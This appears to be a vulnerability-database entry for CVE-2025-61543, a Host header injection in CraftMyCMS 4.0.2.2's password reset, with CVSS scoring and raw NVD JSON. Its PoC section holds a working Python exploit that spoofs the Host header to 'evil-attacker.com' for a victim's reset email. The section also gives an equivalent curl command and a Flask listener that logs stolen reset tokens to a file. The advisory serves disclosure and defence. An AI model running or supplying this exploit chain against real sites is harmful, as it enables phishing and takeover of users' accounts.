Security Vulnerability Report
中文
CVE-2025-61543 CVSS 7.1 HIGH

CVE-2025-61543

Published: 2025-10-16 15:15:35
Last Modified: 2026-04-15 00:35:42

Description

A Host Header Injection vulnerability exists in the password reset functionality of CraftMyCMS 4.0.2.2. The system uses `$_SERVER['HTTP_HOST']` directly to construct password reset links sent via email. An attacker can manipulate the Host header to send malicious reset links, enabling phishing attacks or account takeover.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CraftMyCMS 4.0.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61543 - CraftMyCMS Host Header Injection PoC # This PoC demonstrates how an attacker can inject a malicious Host header # to redirect password reset links to an attacker-controlled server. import requests # Target configuration target_url = "http://target-craftmycms-site.com" reset_endpoint = "/password/reset" # Adjust based on actual CMS routing attacker_host = "evil-attacker.com" # Step 1: Send a password reset request with a manipulated Host header headers = { "Host": attacker_host, # Inject malicious host "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } # Victim's email or username data = { "email": "[email protected]", # Target victim's account "submit": "Reset Password" } print(f"[*] Sending password reset request with manipulated Host header: {attacker_host}") response = requests.post( f"{target_url}{reset_endpoint}", headers=headers, data=data, allow_redirects=False ) if response.status_code == 200 or response.status_code == 302: print("[+] Password reset request sent successfully!") print(f"[+] The victim will receive an email with a reset link pointing to: http://{attacker_host}/reset?token=XXXXX") print("[*] Set up a listener on the attacker server to capture the reset token when the victim clicks the link.") else: print(f"[-] Request failed with status code: {response.status_code}") # Step 2: Alternative - using curl command print("\n[*] Equivalent curl command:") print(f'''curl -X POST "{target_url}{reset_endpoint}" \\ -H "Host: {attacker_host}" \\ -H "Content-Type: application/x-www-form-urlencoded" \\ -d "[email protected]&submit=Reset+Password"''') # Step 3: On the attacker server, capture the reset token # Example Flask app to capture tokens: print("\n[*] Attacker server listener (Python Flask example):") print(''' from flask import Flask, request app = Flask(__name__) @app.route('/reset', methods=['GET']) def capture_token(): token = request.args.get('token') if token: print(f"[+] Captured reset token: {token}") with open("stolen_tokens.txt", "a") as f: f.write(f"{token}\n") return "Please wait...", 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ''')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61543", "sourceIdentifier": "[email protected]", "published": "2025-10-16T15:15:34.847", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Host Header Injection vulnerability exists in the password reset functionality of CraftMyCMS 4.0.2.2. The system uses `$_SERVER['HTTP_HOST']` directly to construct password reset links sent via email. An attacker can manipulate the Host header to send malicious reset links, enabling phishing attacks or account takeover."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/bugdotexe/Vulnerability-Research/tree/main/CVE-2025-61543", "source": "[email protected]"}, {"url": "https://owasp.org/www-community/vulnerabilities/HTTP_Host_header_injection", "source": "[email protected]"}]}}